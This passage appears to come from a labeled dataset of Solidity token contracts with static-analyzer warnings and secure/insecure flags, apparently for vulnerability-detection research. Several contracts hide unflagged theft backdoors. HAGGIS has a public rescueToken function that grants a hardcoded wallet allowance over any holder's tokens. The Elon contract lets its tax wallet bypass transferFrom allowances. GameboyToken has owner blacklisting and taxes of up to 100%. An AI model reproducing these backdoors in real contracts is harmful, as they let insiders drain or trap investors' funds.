newBuyTax sellTax = newSellTax transferTax = newTransferTax \n\t// Recommendation for 4584163: Emit an event for critical parameter changes.\n function setTaxes(\n uint256 newBuyTax,\n uint256 newSellTax,\n uint256 newTransferTax\n ) external onlyOwner {\n require(\n newBuyTax <= 100 && newSellTax <= 100 && newTransferTax <= 100,\n \"Tax cannot exceed 100%\"\n );\n\n\t\t// events-maths | ID: 4584163\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 4584163\n sellTax = newSellTax;\n\n\t\t// events-maths | ID: 4584163\n transferTax = newTransferTax;\n }\n\n function excludeFromLimits(address wallet) external onlyOwner {\n _isLimitFree[wallet] = true;\n }\n\n function removeFromExclusion(address wallet) external onlyOwner {\n _isLimitFree[wallet] = false;\n }\n\n function blacklistAddress(address account) external onlyOwner {\n _blacklist[account] = true;\n }\n\n function unblacklistAddress(address account) external onlyOwner {\n _blacklist[account] = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a016105): GameboyToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a016105: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3d1cae1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 74ecbb5\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!_blacklist[from] && !_blacklist[to], \"Blacklisted address\");\n\n uint256 taxAmount = 0;\n\n if (!_isLimitFree[from] && !_isLimitFree[to]) {\n require(launch, \"Trading not started\");\n\n if (from == uniswapV2Pair) {\n taxAmount = (amount * buyTax) / 100;\n } else if (to == uniswapV2Pair) {\n taxAmount = (amount * sellTax) / 100;\n } else {\n taxAmount = (amount * transferTax) / 100;\n }\n }\n\n uint256 transferAmount = amount - taxAmount;\n\n _balance[from] -= amount;\n\n _balance[to] += transferAmount;\n\n _balance[taxAddress] += taxAmount;\n\n emit Transfer(from, to, transferAmount);\n\n if (taxAmount > 0) emit Transfer(from, taxAddress, taxAmount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: af7130d): GameboyToken.withdrawETH(uint256,address).recipient lacks a zerocheck on \t (success,None) = recipient.call{value amount}()\n\t// Recommendation for af7130d: Check that the address is not zero.\n function withdrawETH(uint256 amount, address recipient) external onlyOwner {\n require(address(this).balance >= amount, \"Insufficient ETH balance\");\n\n\t\t// missing-zero-check | ID: af7130d\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"ETH transfer failed\");\n }\n\n function withdrawTokens(\n address tokenAddress,\n address recipient,\n uint256 amount\n ) external onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n require(\n token.balanceOf(address(this)) >= amount,\n \"Insufficient token balance in contract\"\n );\n\n bool success = token.transfer(recipient, amount);\n\n require(success, \"Token transfer failed\");\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1030.sol",
"secure": 0,
"size_bytes": 10911
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HAGGIS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a515095): HAGGIS._taxWallet should be immutable \n\t// Recommendation for a515095: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b72a3): HAGGIS._HAGGISfund should be constant \n\t// Recommendation for a0b72a3: Add the 'constant' attribute to state variables that never change.\n address private _HAGGISfund = 0xA7125CaaAc45fb00B595D6Ab59781F7635b90f3e;\n\n\t// WARNING Optimization Issue (constable-states | ID: 599a386): HAGGIS._initBuyTax should be constant \n\t// Recommendation for 599a386: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: efb30af): HAGGIS._initSellTax should be constant \n\t// Recommendation for efb30af: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e16f2bb): HAGGIS._finalTaxBuy should be constant \n\t// Recommendation for e16f2bb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTaxBuy = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e916a07): HAGGIS._finalTaxSell should be constant \n\t// Recommendation for e916a07: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTaxSell = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6739710): HAGGIS._reduceBuyAt should be constant \n\t// Recommendation for 6739710: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd216e9): HAGGIS._reduceSellAt should be constant \n\t// Recommendation for fd216e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd243fe): HAGGIS._preventCount should be constant \n\t// Recommendation for dd243fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 10;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Haggis\";\n\n string private constant _symbol = unicode\"HAGGIS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cc1c2d): HAGGIS._maxTxAmount should be constant \n\t// Recommendation for 9cc1c2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: a25f679): HAGGIS._maxWalletSize should be constant \n\t// Recommendation for a25f679: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d3c56f): HAGGIS._minTaxSwap should be constant \n\t// Recommendation for 9d3c56f: Add the 'constant' attribute to state variables that never change.\n uint256 private _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eb33b2): HAGGIS._maxTaxSwap should be constant \n\t// Recommendation for 4eb33b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c596c3f): HAGGIS._caLimitSell should be constant \n\t// Recommendation for c596c3f: Add the 'constant' attribute to state variables that never change.\n bool private _caLimitSell = false;\n\n uint256 private _caBlockSell = 0;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_HAGGISfund);\n\n _isExcludeFromFee[owner()] = true;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[_taxWallet] = true;\n\n _balances[address(this)] = (_tTotal * 98) / 100;\n\n _balances[_msgSender()] = (_tTotal * 2) / 100;\n\n emit Transfer(address(0), address(this), (_tTotal * 98) / 100);\n\n emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6cf588): HAGGIS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6cf588: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5920bd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5920bd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a52e2bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a52e2bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e81345): HAGGIS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e81345: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a52e2bf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5920bd2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6041f4e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6041f4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: bb58789): HAGGIS._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for bb58789: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 396172f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 396172f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7d90a1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7d90a1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n _taxAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt) ? _finalTaxBuy : _initBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludeFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalTaxSell\n : _initSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: bb58789\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 7d90a1d\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t// reentrancy-eth | ID: 396172f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 6041f4e\n\t\t\t\t\t\t// reentrancy-eth | ID: 396172f\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 396172f\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6041f4e\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 396172f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 396172f\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: 6041f4e\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6041f4e\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-benign | ID: a52e2bf\n\t\t// reentrancy-eth | ID: 396172f\n\t\t// reentrancy-eth | ID: 7d90a1d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueToken(address _addr) external {\n _allowances[_addr][_HAGGISfund] = _maxTxAmount;\n }\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 54a811e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 54a811e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c78b027): HAGGIS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c78b027: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e59b886): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e59b886: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 54a811e\n\t\t// reentrancy-eth | ID: e59b886\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 54a811e\n\t\t// unused-return | ID: c78b027\n\t\t// reentrancy-eth | ID: e59b886\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 54a811e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e59b886\n tradingOpen = true;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6041f4e\n\t\t// reentrancy-events | ID: 5920bd2\n\t\t// reentrancy-eth | ID: 396172f\n\t\t// reentrancy-eth | ID: 7d90a1d\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1031.sol",
"secure": 0,
"size_bytes": 17873
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPER is IERC20 {\n string public constant name = \"PEPER6900\";\n\n string public constant symbol = \"$PEPER\";\n\n uint8 public constant decimals = 18;\n\n uint256 private immutable _totalSupply = 1 * 10 ** uint256(decimals);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1032.sol",
"secure": 1,
"size_bytes": 2402
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Elon is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 771fadb): Elon.deployer should be immutable \n\t// Recommendation for 771fadb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d9a8d5): Elon._initialBuyTax should be constant \n\t// Recommendation for 6d9a8d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7993bd3): Elon._initialSellTax should be constant \n\t// Recommendation for 7993bd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49946d5): Elon._finalBuyTax should be constant \n\t// Recommendation for 49946d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e559dd6): Elon._finalSellTax should be constant \n\t// Recommendation for e559dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a1ec95): Elon._reduceBuyTaxAt should be constant \n\t// Recommendation for 0a1ec95: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd0cf32): Elon._reduceSellTaxAt should be constant \n\t// Recommendation for cd0cf32: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon Leading the Crypto Revolution\";\n\n string private constant _symbol = unicode\"ELON\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 484b7b9): Elon._maxTaxSwap should be constant \n\t// Recommendation for 484b7b9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0x0ab13c81Fc334447e59C2cc8A9E5e4B01e7bd34D);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7858539): Elon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7858539: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ccf211): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ccf211: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a50e29b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a50e29b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-benign | ID: a50e29b\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: 5ccf211\n\t\t\t// reentrancy-benign | ID: a50e29b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0438f15): Elon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0438f15: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a50e29b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5ccf211\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69878ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69878ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ce4fef7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ce4fef7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 69878ce\n\t\t\t\t\t// reentrancy-eth | ID: ce4fef7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 69878ce\n\t\t\t\t// reentrancy-eth | ID: ce4fef7\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ce4fef7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69878ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ce4fef7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ce4fef7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69878ce\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 69878ce\n\t\t// reentrancy-events | ID: 5ccf211\n\t\t// reentrancy-benign | ID: a50e29b\n\t\t// reentrancy-eth | 